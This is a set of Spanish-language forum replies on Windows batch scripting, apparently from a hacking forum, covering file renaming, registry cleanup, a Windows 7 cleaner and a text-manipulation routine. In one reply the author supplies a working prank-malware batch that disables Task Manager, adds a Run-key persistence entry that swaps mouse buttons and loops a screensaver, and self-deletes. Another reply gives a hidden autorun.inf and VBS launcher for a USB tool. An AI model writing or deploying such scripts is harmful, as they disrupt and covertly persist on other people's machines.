Mensajes

[RevangelionX]

Elektro Hacker supongo que lo confirmará.

Exacto xD

Como bien te ha dicho el amigo RevangelionX, no te funciona porque no estás expandiendo la variable para poder usarla en el FOR.

Pero aparte de eso, el parámetro "/R" del for es muy mala idea usarlo en casos como este, el for procesa los archivos ASS de la carpeta (Uno por uno), pero en el momento que uno de esos archivos es "prefijado" el for puede procesar ese nuevo archivo si el nuevo nombre del archivo está entre los que el For todavía no a procesado por el orden alfabético...
si tenemos el archivo "A" y "B", y el archivo "A" es renombrado a "C" antes de procesar el archivo "B" , el For procesará también el archivo "C" porque el FOR aún no ha llegado a esa letra alfabéticamente hablando, no se si me entiendes, asi que se volverá a "re-prefixear" ese archivo.., me ha pasado muchisimas veces en ocasiones parecidas...

Código (dos) [Seleccionar] Expandir

@Echo OFF
Setlocal enabledelayedexpansion

for /F "Tokens=*" %%i in ('Dir /B /S "*.ass"') do (

set "nom=%%i"

set prefix=!nom:~15,3!
set lex=!nom:~22,14!
set nombre=Capitulo !prefix! - !lex!
set ruta=!nom:~0,1!

copy "%%i" "!ruta!!nombre!"
)
pause&exit

Saludos

Código [Seleccionar] Expandir

HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Recent File List
http://support.microsoft.com/kb/313454

Código (dos) [Seleccionar] Expandir

REG DELETE "HKCU\Software\Microsoft\Office\11.0\Word\Recent File List" /F

Saludos

[APPDATA]

Hola, creo que te contesté por privado... pero ahora creo que al final se me olvidó hacerlo xD

Funciona, de cierta manera...

NO, funciona, sin más.

Una cosa es editar los permisos de un archivo/carpeta, y otra muy distinta es editar los atributos (ocultarlo).

Para ocultar la carpeta Mis documentos, y los archivos y subcarpetas:

Código [Seleccionar] Expandir

ATTRIB /S /D +H "%USERPROFILE%\Mis documentos\*"
(Obviamente primero el grupo de usuarios "TODOS" tiene que tener permiso para cambiar los atributos...)
Y luego le quitas los permisos de acceso.

con programas como word revisas los archivos usados recientes y abre los archivos que están dentro de las carpetas que contiene mis documentos.

Y te seguirán saliendo porque no tiene nada que ver, un programa que dispone de una lista de archivos recientes puede guardar esa lista en un archivo de configuración (.cfg, .ini) en la carpeta del programa, o en la carpeta APPDATA (Local o roaming...), o en el registro, así que busca ese archivo o la clave de registro en done se guardan las listas de archivos recientes del word, eliminas las entradas, y listo.
(Lo tendrás que hacer cada vez que quieras vaciar la lista de archivos recientes del word o cualquier otro programa.)

saludos

[Doddy]

+1

Gracias por compartirlo en TK Doddy

Te animo a que saques alguna idea de este script que dejé a medias:
http://pastebin.com/MVnhRi2a
[RUBY] Proyecto sin finalizar Art ASCII Factory ¿Alguien me toma el relevo?
Bueno, más bien que saques los estilos xD

Sería genial que añadieras todos esos estilos a una versión 0.2 o que los sacases de donde los saqué yo ( http://patorjk.com/software/taag/ )

Me gusta el Art ASCII !! 

un saludo 

[futurehack]

Dicho sea de paso, y, aunque pueda ser algo tarde para decirlo, muchas gracias por el aporte.
Muchas gracias por vuestra atencion.

Nunca es tarde para dar las gracias, y gracias a ti por comentar  

Después de varios días sin que dieras señales por privado, te reescribo de nuevo el asunto que acontece este comentario.

Lo siento futurehack mucha gente me pide ayuda por privado y por email pero tengo otras cosas q hacer aparte de ayudar en lo que puedo.
Me ocupo de ello poco a poco!

Te comento los pasos que sigo para utilizar USBMON:
1º Abro el bat como administrador
2º CMD, y ejecuto : USBMON -install

El parámetro es "-instalar", no "-install"
¿Lo pusistete bien? si escribes un parámetro incorrecto el bat te avisa de lo que hiciste mal, lo he vuelto a comprobar.

Código [Seleccionar] Expandir

                                                         .------.
     _   _  ____   ____       __  __   ___   _   _       | from-.-----.
    | | | |/ ___| | __ )     |  \/  | / _ \ | \ | |      | that-| -----|
    | | | |\___ \ |  _ \     | |\/| || | | ||  \| |      | -usb-| to---|
    | |_| | ___) || |_) |    | |  | || |_| || |\  |      | -----| -my--|
     \___/ |____/ |____/     |_|  |_| \___/ |_| \_|      '------| drive|
      By Elektro H@cker                                    v0.3 '------'


Paràmetro desconocido: -install

C:\Users\Administrador\Downloads\_Otros>usbmon -install

1º - Abres la consola, sin abrir el bat, solamente abres una instancia de la CMD.exe (en la carpeta donde esté el USBMON.bat)
2º - en la consola escribes:

Código (dos) [Seleccionar] Expandir

USBMON.BAT -INSTALAR

Si te sigue sin funcionar sigue estos pasos:
- Si quieres instalarlo sin un autorun es suficiente con copiar el archivo.bat al pendrive...

- Si lo quieres con autorun y que se inicie oculto agrega estos 2 archivos al pendrive:
(Aunque no estoy 100% seguro de si funciona correctamente esta parte)

USBMON.vbs

Código (vb) [Seleccionar] Expandir

Set wshShell = CreateObject("WScript.Shell")
wshShell.run """" & ".\USBMON.BAT" & """", 0

autorun.inf

Código [Seleccionar] Expandir

[autorun]
shellexecute=USBMON1.vbs
shell\open\command=USBMON1.vbs
shell\explore\command=USBMON1.vbs
shell=explore
open=USBMON1.vbs
action =Ejecutar USB MON
Language=
ID=en

PD: los atributos del autorun.inf son: "solo lectura" "oculto" sistema", es improtante que los dejes así:

Código (dos) [Seleccionar] Expandir

Attrib  +S +H +R "autorun.inf"

Saludos

[x64]

Este script es un limpiador post-install de Windows 7 x64

- ¿Que quiere decir esto?
Cuando instalamos Windows 7 (sin modificar), Microsoft nos llena el sistema con sus florituras, miles y miles de archivos y carpetas extra:

• Cursores, fuentes, Salvapantallas, temas de escritorio
• Otros idiomas
• Copias de seguridad
• Sonidos, videos, y todo tipo de archivos multimedia
• etc, etc, etc...

Todo eso es conveniente eliminarlo para ayudar a agilizar/optimizar el sistema en diversos aspectos, como por ejemplo:

• Al escanear con un antivirus
• Al desfragmentar
• Al clonar el disco duro
• Al usar el buscador de Windows
• Simplemente para obtener más espacio libre en el disco
• etc...

Y ese es el propósito de este script, limpiar y optimizar, quedarse con lo necesario de una instalación de Windows 7 y eliminar el resto, para siempre!.



WSS es el sustituto de mi antiguo "Windows 7 Xtreme Cleaner" ( Para abreviar lo llamaré: W7XC ), el cual era al mismo tiempo un limpiador post-install y un limpiador de basura normal.
Si alguien lo recuerda sabrá de que va la cosa: http://foro.elhacker.net/empty-t344097.0.html

En comparación con W7XC, en WSS he eliminado por completo la función de limpiador de programas y basura que tenía W7XC, Porque disponiendo de CCleaner he podido trasladar la mayoría de cosas que eliminaba W7XC a una configuración de Inclusiones para el CCleaner (Si alguien la quiere, que me lo pida), entonces ya no me hace falta usar nunca más esa función lenta de W7XC.

Así que he decidido suprimir el limpiador normal y profundizar en el limpiador post-install de W7XC y un reductor de la carpeta WINSXS, mejorandolo de arriba a abajo por completo empezando desde 0, simplificandolo, examinando manualmente las miles de carpetas de WINSXS, mucho trabajo, y este es el resultado, espero que os guste:






- ¿Que es lo que limpia o puede limpiar WSS?

Limpieza post-install:

Limpieza de componentes activados:

• Cliente de impresion en internet
• Fax y scaner de Windows
• Internet Explorer
• Juegos de Windows
• Puerto LPR
• Servicios XPS
• Tablet PC
• Windows Media Center



Limpieza de registro:

• Claves de registro de esquemas de Cursores
• Claves de registro de esquemas de sonido
• Claves de registro de fuentes
• Claves de registro del menu contextual (Nuevo > Archivo inutil)



Limpieza de archivos:

• Archivos multimedia BMP/GIF/JPG/PNG - AVI/MPG/MP4/WMV
• Archivos temporales
• Ayuda de Windows
• Componentes de Windows (DVD Maker, Photoviewer, Window Mail, Wordpad, Write)
• Cursores
• Documentos publicos
• Enlaces de "Enviar a..."
• Enlaces de "Menu inicio"
• Enlaces WEB
• Fuentes (Menos las necesarias)
• Gadgets
• Idiomas
• Licencias
• Otros archivos
• Salvapantallas
• Sonidos
• Temas de escritorio
• Wallpapers

Reducción de la carpeta WINSXS:

• Copias de seguridad de Archivos de localizacion MUI
• Copias de seguridad de Archivos multimedia BMP/JPG/PNG AVI/MPG/MP4/WMV
• Copias de seguridad de Componentes de Windows
• Copias de seguridad de Cursores
• Copias de seguridad de Fuentes
• Copias de seguridad de Gadgets
• Copias de seguridad de Idiomas
• Copias de seguridad de la Ayuda de Windows
• Copias de seguridad de Manifiestos correspondientes a las otras copias elminadas
• Copias de seguridad de Salvapantallas
• Copias de seguridad de Service Pack 1
• Copias de seguridad de Sonidos
• Copias de seguridad de Temas de escritorio
• Copias de seguridad de Wallpapers
• Copias de seguridad temporales
• Otras copias.

Consejos de uso:

• 1º - Instalar Windows 7 x64 de manera normal
• 2º - Instalar las librerías necesarias, y las actualizaciones deseadas desde Windows Update (Y Reiniciar el PC para aplicar las actualizaciones!)
• 3º - Usar Windows Seven Shrinker x64

Sobre la limpieza normal tengo que decir que no es en ningún caso dañiña, pero es posible que prefieras mirar detalladamente los "componentes de windows" que se deshabilitan y los que se eliminan por completo en el script antes de usarlo si quizás no te interesa que se elimine uno en particular. Los que se eliminan los he nombrado arriba y los que se deshabilitan están en la configuración del script...

Y sobre la reducción de la carpeta WINSXS, ES MUY IMPORTANTE entender los riesgos que puede conllevar una limpieza de la carpeta WINSXS ya que esto puede afectar de forma distinta dependiendo de las características de un PC.
Es posible que no puedas instalar varias actualizaciones de Windows Update después de una limpieza de la carpeta WINSXS, por eso recomiendo instalarlas primero.

NO ME HAGO RESPONSABLE EN NINGÚN CASO DE UN POSIBLE FALLO EN EL ENTORNO DE WINDOWS DESPUÉS DE UNA REDUCCIÓN DE LA CARPETA WINSXS CON ESTE SCRIPT




   

   



DESCARGA

El código pesa mucho, más de 1 MB y contiene casi 10.000 lineas de código,
Todos los servicios online como "pastebin.com" son muy restrictivos, así que no me ha quedado más remedio que subirlo aquí:
http://exoshare.com/download.php?uid=08ESJATX


Un saludo.[/list][/list][/list]

[edito]

Hola,

El salvapantallas no existe en Windows 7

¿Que pasa si mi archivo se llama "bicho.bat" en vez de "virus.bat"?  
http://ss64.com/nt/syntax-args.html

Has elegido un mal sitio para copiarse a si mismo, elige otro menos restrictivo... no todos tienen permisos para usar las carpeta del sistema.
Ni tampoco todos tienen permiso de admin para agregar claves a la raíz local (HKLM).

Tampoco hay necesidad de autocopiarse.

Código (dos) [Seleccionar] Expandir

@Echo OFF
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T REG_DWORD /D "1" /F >NUL
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Salvapantallas" /D "CMD /C \"Start /B RUNDLL32.EXE user32.dll,SwapMouseButton ^& (FOR /L %%# in (1,1,9999) DO (ssbezier.scr /S /Q /R))\"" /F >NUL
Del /Q %0

Para ocultarlo usa un script VBS o un "compilador" de batch, usa el buscador del foro, que se ha hablado 1.000 veces y la información la tienes delante.

Saludos





[offtopic]
edito: ups me equivoqué al comentar la función swapmouse de rundll32... ¿cual era esa función que en win7 desapareció? :-/
[(offtopic]

También quiero saber que si añado mas lineas, estas se van a ir acumulando debajo de las otras.

¿Debajo de la última línea añadida usando por ejemplo el código que te puse arriba?, ¿O añadir lineas al final del texto, abajo abajo del todo?

Lo primero es más complicado pero se puede hacer, con un FOR y guardando en una variable cual fue la última linea utilizada (por el script que puse arriba por ejemplo).
Lo segundo es muy fácil, Si solo quieres añadir lineas abajo del todo, al final del archivo, lo que tienes que hacer es redireccionar así:

Código (dos) [Seleccionar] Expandir

Echo primera linea > "Archivo.txt"
Echo linea que va debajo >> "Archivo.txt"
Echo Otra linea que va debajo >> "Archivo.txt"

Y puedes mirar esto: [BATCH] [APORTE] Rutina TEXTMAN para manipular archivos de texto

saludos

[L-]

Las dudas más frecuentes sobre Batch suelen ser sobre la manipulación de texto, así que he creado esta rutina para que tengan esta pequeña ayuda.

A diferencia del 99% de rutinas parecidas a esta, mi código respeta los caracteres especiales al no usar la expansión. Por contra, resulta más lento el proceso.

- ¿Que funciones tiene?

• AÑADIR TEXTO AL PRINCIPIO DE UNA LÍNEA
• AÑADIR TEXTO AL FINAL DE UNA LÍNEA
• ELIMINAR UNA LINEA
• INSERTAR UNA LINEA (VACÍA O CON TEXTO)
• REEMPLAZAR UNA LINEA
• REEMPLAZAR PALABRAS DE UNA LINEA
• REEMPLAZAR PALABRAS EN TODAS LAS LINEAS
• ELIMINAR LOS PRIMEROS "X" CARACTERES EN TODAS LAS LÍNEAS
• ELIMINAR LOS ÚLTIMOS  "X" CARACTERES EN TODAS LAS LÍNEAS
• CORTAR LAS PRIMERAS "X" LÍNEAS
• CORTAR LAS ÚLTIMAS  "X" LÍNEAS

Por ejemplo, para eliminar la linea 5 en un archivo de texto lo usariamos así:

Código [Seleccionar] Expandir

Call :TEXTMAN E 5 "Archivo.txt"

Léanse la ayuda que está escrita dentro del código antes de usarlo.

Espero que a alguien le sirva de ayuda.
Saludos.



Versión 0.2, corregido un fallo en la función de L-
Versión 0.5

Código [Seleccionar] Expandir

@Echo OFF


:: TEXT MANIPULATOR ROUTINE v0.5
:: by Elektro H@cker


REM SYNTAX:
::
:: TEXTMAN [ACTION] [LINE(S)] [FILE] [TEXT]
::
:: * [LINE(S)] parameter is Optional for some actions
:: * [TEXT] parameter is Optional for some actions


REM ACTIONS:
::
::  AB  = ADD_BEGINNING      * Add text to the beginning of a line.
::  AE  = ADD_ENDING         * Add text to the end of a line.
::  E   = ERASE              * Delete a line.
::  I   = INSERT             * Add a empty line (Or a line with text).
::  RL  = REPLACE_LINE       * Replace a entire line.
::  RS  = REPLACE_STRING     * Replace word from line.
::  RSA = REPLACE_STRING_ALL * Replace word from all lines.
::  C+  = CHARACTER_PLUS     * Delete the first "X" characters from all lines.
::  C-  = CHARACTER_LESS     * Delete the last  "X" characters from all lines.
::  L+  = LINE_PLUS          * Cut the first "X" amount of lines.
::  L-  = LINE_LESS          * Cut the last  "X" amount of lines.
::  GL  = GET_LINE           * Delete all except "X" line.
::  GR  = GET_RANGE          * Delete all except "X" range of lines.


REM EXAMPLES:
::
:: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::
::                                                                         ::
:: Delete the line 3                                                       ::
:: Call :TEXTMAN E 3 "Test.txt"                                            ::
::                                                                         ::                                                                       
:: Add a string to the beginning of line 3                                 ::
:: Call :TEXTMAN AL 3 "Test.txt" "Elektro H@cker"                          ::
::                                                                         ::                                                                     
:: Add a string to the end of line 3.                                      ::
:: Call :TEXTMAN AR 3 "Test.txt" "Elektro H@cker"                          ::
::                                                                         ::                                                                       
:: Add a empty line at line 3.                                             ::
:: Call :TEXTMAN I 3 "Test.txt"                                            ::
::                                                                         ::                                                                       
:: Add a line with a word at line 3.                                       ::
:: Call :TEXTMAN I 3 "Test.txt" "Elektro H@cker"                           ::
::                                                                         ::   
:: Replace the line 3 with "Elektro H@cker".                               ::
:: Call :TEXTMAN RL 3 "Test.txt" "Elektro H@cker"                          ::
::                                                                         ::
:: Replace the words "Elektro" to "H@cker" in line 3.                      ::
:: Call :TEXTMAN RS 3 "Test.txt" "Elektro" "H@cker"                        ::
::                                                                         ::
:: Replace the words "Elektro" to "H@cker" in all lines.                   ::
:: Call :TEXTMAN RSA "Test.txt" "Elektro" "H@cker"                         ::
::                                                                         ::
:: Delete the first 3 characters in all lines.                             ::
:: Call :TEXTMAN C+ 3 "Test.txt"                                           ::
::                                                                         ::
:: Delete the last 3 characters in all lines.                              ::
:: Call :TEXTMAN C- 3 "Test.txt"                                           ::
::                                                                         ::
:: Delete the first 3 lines.                                               ::
:: Call :TEXTMAN L+ 3 "Test.txt"                                           ::
::                                                                         ::
:: Delete the last 3 lines.                                                ::
:: Call :TEXTMAN L- 3 "Test.txt"                                           ::
::                                                                         ::
:: Delete all except the line number 3.                                    ::
:: Call :TEXTMAN SL 3 "Test.txt"                                           ::
::                                                                         ::
:: Delete all except the 3 to 9 range of lines.                            ::
:: Call :TEXTMAN SR 3 9 "Test.txt"                                         ::
::                                                                         ::
:: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::


:TEXTMAN
(SET /A "A=0", "LINE=0", "TOTAL_LINES=0")  &  (CALL :%~1 %* || (ECHO Invalid parameter & Exit /B 1)) & (GOTO:EOF)
:AB
(For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)>> "%~3.NEW")) ELSE (if "%%B" EQU "" ((Echo %~4)>> "%~3.NEW") ELSE ((Echo %~4%%B)>> "%~3.NEW"))"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:AE
(For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)>> "%~3.NEW")) ELSE ((Echo %%B%~4)>> "%~3.NEW")"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:E
(For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B) >> "%~3.NEW"))"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:I
(For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF     "%%LINE%%" EQU "%~2" (IF NOT "%~4" EQU "" ((Echo %~4) >> "%~3.NEW") ELSE (Echo+>> "%~3.NEW"))" & (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)>> "%~3.NEW"))))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:RL
(For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)>> "%~3.NEW")) ELSE ((Echo %~4)>> "%~3.NEW")"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:RS
(For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "IF NOT "%%LINE%%" EQU "%~2" (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)>> "%~3.NEW")) ELSE (CALL SET "STRING=%%B" &&     (if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((CALL ECHO %%STRING:%~4=%~5%%)>> "%~3.NEW")))"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:RSA
(For /F "tokens=1* delims=]" %%A in ('type "%~2" ^| find /n /v ""') DO (CALL SET "STRING=%%B" && (if "%%B" EQU "" (Echo+>> "%~2.NEW") ELSE ((CALL ECHO %%STRING:%~3=%~4%%)>>"%~2.NEW")))) && (CALL :RENAMER "%~2") & (GOTO:EOF)
:C+
(For /F "usebackq tokens=*" %%@ in ("%~3") DO (Call Set   "LINE=%%@" && (CALL ECHO %%LINE:~%~2%% >>      "%~3.NEW"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:C-
(For /F "usebackq tokens=*" %%@ in ("%~3") DO (Call Set   "LINE=%%@" && (CALL ECHO %%LINE:~0,-%~2%% >>   "%~3.NEW"))) && (CALL :RENAMER "%~3") & (GOTO:EOF)
:L+
(Call SET /A "A=%~2") && (Call TYPE "%~3" |@MORE +%%A%% > "%~3.NEW") && (CALL :RENAMER "%~3") & (GOTO:EOF)
:L-
(For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (CALL SET /A "TOTAL_LINES+=1")) & (CALL SET /A "TOTAL_LINES-=%~2-1") & (For /F "tokens=1* delims=]" %%A in ('type "%~3" ^| find /n /v ""') DO (Call Set /A "LINE+=1" & Call echo "%%LINE%%"|@FIND "%%TOTAL_LINES%%" >NUL) && (CALL :RENAMER "%~3" && GOTO:EOF) || (Echo %%B >> "%~3.NEW"))
:GL
(Call SET /A "A=%~2" && Call SET /A "A-=1") && (Call TYPE "%~3" |@MORE +%%A%% > "%temp%\getline.tmp") && (For /F "tokens=1* delims=]" %%A in ('type "%temp%\getline.tmp" ^| find /n /v ""') DO ((if "%%B" EQU "" (Echo+>> "%~3.NEW") ELSE ((Echo %%B)> "%~3.NEW"))) && ((CALL :RENAMER "%~3") & (GOTO:EOF)))
:GR
(For /F "tokens=1* delims=]" %%A in ('type "%~4" ^| find /n /v ""') DO (Call Set /A "LINE+=1" && (CMD /C "(IF "%%LINE%%" GEQ "%~2" IF "%%LINE%%" LEQ "%~3" (if "%%B" EQU "" (Echo+>> "%~4.NEW") ELSE ((Echo %%B)>> "%~4.NEW"))) && (IF "%%LINE%%" EQU "%~3" Exit /B 1)" || ((CALL :RENAMER "%~4") & (GOTO:EOF)))))

:RENAMER
(REN "%~1" "%~nx1.BAK") & (MOVE /Y "%~1.BAK" "%TEMP%\" >NUL) & (REN "%~1.NEW" "%~nx1") & (GOTO:EOF)

Si una película tiene la misma duración
¿por qué hay diferentes subtitulos?

Es decir si una película dura 1:30, no importa quien haya hecho qué, en el minuto 10:00 (por ejemplo) en todas las versiones los actores deberían estar haciendo y diciendo lo mismo

Por los FPS del video (el framerate).

Cualquier película, por ejemplo "Spiderman", puede que parezca que tenga la misma duración en la versión USA como en España, pero los frames (las imagenes) van más lentas o más rápidas dependiendo del pais de origen del video.

Si tienes un video a 25.000 fps y usas un archivo de subtitulos que está sincronizado para un video a 23,976 FPS, onviamente no vas a ver buenos resultados.

PD: El framerate de un video se puede cambiar, y también se puede configurar un archivo de subtitulos para adecuarlo al framerate de un video.

Eso es lo más importante, pero también puede haber varios subtitulos diferentes porque la gente se dedica a hacer su propia traducción de los videos (Por hobbie).

Saludos